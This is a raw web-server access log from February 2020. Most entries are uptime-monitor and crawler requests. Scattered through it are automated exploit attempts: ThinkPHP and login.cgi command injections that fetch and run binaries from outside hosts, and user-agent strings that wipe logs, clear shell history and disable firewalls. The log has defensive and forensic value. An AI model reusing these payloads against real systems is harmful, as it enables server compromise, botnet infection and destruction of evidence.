5.101.0.209 - - [25/Feb/2020:12:48:49 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:12:48:51 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:12:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:12:49:43 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:12:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [25/Feb/2020:12:51:35 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:12:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
72.186.193.222 - - [25/Feb/2020:12:58:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
83.153.149.104 - - [25/Feb/2020:12:59:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:12:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [25/Feb/2020:13:04:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
5.101.0.209 - - [25/Feb/2020:13:04:35 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:13:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:13:04:39 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.152.6.58 - - [25/Feb/2020:13:04:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [25/Feb/2020:13:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.160.99.109 - - [25/Feb/2020:13:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:13:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.43 - - [25/Feb/2020:13:07:31 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.43 - - [25/Feb/2020:13:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [25/Feb/2020:13:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:13:08:23 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:13:08:25 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:13:08:28 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:13:08:30 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:13:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:13:09:42 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:13:09:47 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:13:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.16.119.96 - - [25/Feb/2020:13:11:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.16.119.96 - - [25/Feb/2020:13:11:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [25/Feb/2020:13:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.194.81 - - [25/Feb/2020:13:19:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [25/Feb/2020:13:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [25/Feb/2020:13:19:46 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
208.114.149.10 - - [25/Feb/2020:13:20:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:13:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.5.131.254 - - [25/Feb/2020:13:21:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:13:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.103.203.187 - - [25/Feb/2020:13:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:13:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [25/Feb/2020:13:32:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [25/Feb/2020:13:32:22 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [25/Feb/2020:13:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [25/Feb/2020:13:33:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [25/Feb/2020:13:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [25/Feb/2020:13:33:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
42.115.107.111 - - [25/Feb/2020:13:33:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
45.152.6.58 - - [25/Feb/2020:13:34:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [25/Feb/2020:13:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.242.12.193 - - [25/Feb/2020:13:37:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:13:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.194.81 - - [25/Feb/2020:13:38:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
54.161.69.84 - - [25/Feb/2020:13:39:00 +0100] "GET /clientaccesspolicy.xml HTTP/1.1" 404 327 "-" "Cloud mapping experiment. Contact research@pdrlabs.net"
103.254.56.226 - - [25/Feb/2020:13:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:13:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.100.9.252 - - [25/Feb/2020:13:39:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:13:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
199.58.86.209 - - [25/Feb/2020:13:42:12 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
199.58.86.209 - - [25/Feb/2020:13:42:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [25/Feb/2020:13:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [25/Feb/2020:13:44:16 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [25/Feb/2020:13:44:18 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [25/Feb/2020:13:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [25/Feb/2020:13:45:03 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [25/Feb/2020:13:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
108.224.113.130 - - [25/Feb/2020:13:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:13:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:13:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.71.230.30 - - [25/Feb/2020:13:56:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:13:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [25/Feb/2020:13:57:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:13:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [25/Feb/2020:13:57:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
118.89.144.131 - - [25/Feb/2020:13:58:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [25/Feb/2020:13:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [25/Feb/2020:13:59:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [25/Feb/2020:13:59:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [25/Feb/2020:13:59:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:13:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [25/Feb/2020:13:59:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [25/Feb/2020:14:00:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:14:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.56.101.81 - - [25/Feb/2020:14:03:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
181.56.101.81 - - [25/Feb/2020:14:03:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
193.57.40.38 - - [25/Feb/2020:14:03:09 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
181.56.101.81 - - [25/Feb/2020:14:03:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:14:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.56.101.81 - - [25/Feb/2020:14:03:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:14:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.102.225 - - [25/Feb/2020:14:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:14:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.208.217.203 - - [25/Feb/2020:14:07:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:14:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
